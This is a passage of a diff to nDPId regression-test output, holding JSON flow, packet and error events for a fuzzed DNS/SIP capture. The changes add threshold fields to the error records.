00772{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":319,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":114,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470173644568,"flow_src_last_pkt_time":1120470173644568,"flow_dst_last_pkt_time":1120470173644568,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470219780912,"l3_proto":"ip4","src_ip":"192.168.37.115","dst_ip":"128.168.1.1","src_port":2758,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00769{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":319,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":113,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470171641690,"flow_src_last_pkt_time":1120470171641690,"flow_dst_last_pkt_time":1120470171641690,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470219780912,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2785,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":319,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":29440,"global_ts_usec":1120470233791441} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470233791441,"packet_id":319,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":29440,"global_ts_usec":1120470233791441} 00400{"packet_event_id":1,"packet_event_name":"packet","packet_id":319,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":82,"pkt_type":29440,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":82,"pkt_l4_len":0,"thread_ts_usec":1120470219780912,"pkt":"ADBUADRWAODtSm4lcwBFAABEasIAAIARTJPAqAECwKgBAQrLADUAMHT6r\/kAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":320,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":122,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470233792936,"flow_src_last_pkt_time":1120470233792936,"flow_dst_last_pkt_time":1120470233792936,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470233792936,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2763,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00594{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":320,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":1,"flow_src_last_pkt_time":1120470233792936,"flow_dst_last_pkt_time":1120470233792936,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"thread_ts_usec":1120470233792936,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CssAR1d2r\/mAAAAmcwEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAYAAJxAACwlsb2NhbGhvc3QA"} 01132{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":320,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":122,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470233792936,"flow_src_last_pkt_time":1120470233792936,"flow_dst_last_pkt_time":1120470233792936,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470233792936,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2763,"l4_proto":"udp","ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"1.0.0.127.in-addr.arpa","dns": {"num_queries":38,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":321,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":2176,"global_ts_usec":1120470233794463} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470233794463,"packet_id":321,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":2176,"global_ts_usec":1120470233794463} 01444{"packet_event_id":1,"packet_event_name":"packet","packet_id":321,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":867,"pkt_type":2176,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":867,"pkt_l4_len":0,"thread_ts_usec":1120470233792936,"pkt":"ADBUADRWAODtAW69CIBFAANVaMMAAIARFRXAqAEC1PIhIxPEE8QDQYjhSU5WSVRFIHNpcDowMDk3MjM5Mjg3MDQ0QHNpcC5jeWJlcmNpdHkuZGsgU0lQL1MuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjo1MDYwO2JyYW5jaD16OWhHNGJLbnA4NTIxMzY5NC00MzBhYTFkZTGqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":322,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":123,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470233796341,"flow_src_last_pkt_time":1120470233796341,"flow_dst_last_pkt_time":1120470233796341,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470233796341,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2764,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00568{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":322,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_src_last_pkt_time":1120470233796341,"flow_dst_last_pkt_time":1120470233796341,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470233796341,"pkt":"ADBUADRWAODtAW69CABFAABIasQAAIARTI3AqAECwKgBAQrMADUANEn93\/sBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01016{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":322,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":123,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470233796341,"flow_src_last_pkt_time":1120470233796341,"flow_dst_last_pkt_time":1120470233796341,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470233796341,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2764,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":323,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120470234292134} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470234292134,"packet_id":323,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120470234292134} 01445{"packet_event_id":1,"packet_event_name":"packet","packet_id":323,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":867,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":867,"pkt_l4_len":0,"thread_ts_usec":1120470233796341,"pkt":"ADBUADRWAOCqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} 00568{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":324,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":2,"flow_src_last_pkt_time":1120470234792505,"flow_dst_last_pkt_time":1120470233796341,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470234792505,"pkt":"ADBUADRWAODtAW69CABFAABIasYAAIARTIvAqAECwKgBAQrMADUANEn93\/sBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":328,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":124,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470236795395,"flow_src_last_pkt_time":1120470236795395,"flow_dst_last_pkt_time":1120470236795395,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470236795395,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -825,7 +825,7 @@ 01016{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":337,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":128,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470251907970,"flow_src_last_pkt_time":1120470251907970,"flow_dst_last_pkt_time":1120470251907970,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470251907970,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2766,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 00568{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":338,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":2,"flow_src_last_pkt_time":1120470253909994,"flow_dst_last_pkt_time":1120470251907970,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470253909994,"pkt":"ADBUADRWAODtAW69CABFAABIatAAAIARTIHAqAECwKgBAQrOADUANK35e\/0BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZTBjaXR5AmRrAAAhAAE="} 01024{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":338,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":128,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1120470251907970,"flow_src_last_pkt_time":1120470253909994,"flow_dst_last_pkt_time":1120470251907970,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":88,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470253909994,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2766,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybe0city.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":339,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120470255912874} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470255912874,"packet_id":339,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120470255912874} 00403{"packet_event_id":1,"packet_event_name":"packet","packet_id":339,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470253909994,"pkt":"ADBUAKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00767{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":343,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":129,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470259918614,"flow_src_last_pkt_time":1120470259918614,"flow_dst_last_pkt_time":1120470259918614,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470259918614,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":14798,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00568{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":343,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_src_last_pkt_time":1120470259918614,"flow_dst_last_pkt_time":1120470259918614,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470259918614,"pkt":"ADBUADRWAODtAW69CABFAABIatkAAIQRTHjAqAECwKgBATnOADUANK35e\/0BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhABE="} @@ -856,7 +856,7 @@ 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":347,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":131,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470267925643,"flow_src_last_pkt_time":1120470267925643,"flow_dst_last_pkt_time":1120470267925643,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470267925643,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2768,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":347,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_src_last_pkt_time":1120470267925643,"flow_dst_last_pkt_time":1120470267925643,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470267925643,"pkt":"ADBUADRWAODtAW69CABFAABIatwAAIARTHXAqAECwKgBAQrQADUANDb28v4BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01016{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":347,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":131,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470267925643,"flow_src_last_pkt_time":1120470267925643,"flow_dst_last_pkt_time":1120470267925643,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470267925643,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2768,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":350,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470268921628} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470268921628,"packet_id":350,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470268921628} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":350,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470268180956,"pkt":"ADBUADRWAODtAW69CABFAGhIat4AAIARTHPAqAECwKgBAQrQADUANDb28v4BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00767{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":351,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":132,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470270925077,"flow_src_last_pkt_time":1120470270925077,"flow_dst_last_pkt_time":1120470270925077,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470270925077,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":35536,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":351,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_src_last_pkt_time":1120470270925077,"flow_dst_last_pkt_time":1120470270925077,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470270925077,"pkt":"ADBUADRWAODtAW69CABFAABIat8AAIARTHLAqAECwKgBAYrQADUANDb28v4BAAABwwAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} @@ -891,21 +891,21 @@ 00777{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":357,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":124,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470236795395,"flow_src_last_pkt_time":1120470236795395,"flow_dst_last_pkt_time":1120470236795395,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470284937812,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01031{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":357,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":122,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470233792936,"flow_src_last_pkt_time":1120470233792936,"flow_dst_last_pkt_time":1120470233792936,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470284937812,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2763,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 01032{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":357,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":123,"flow_state":"finished","flow_src_packets_processed":4,"flow_dst_packets_processed":0,"flow_first_seen":1120470233796341,"flow_src_last_pkt_time":1120470242804255,"flow_dst_last_pkt_time":1120470233796341,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":176,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470284937812,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2764,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00202{"error_event_id":5,"error_event_name":"Unknown packet 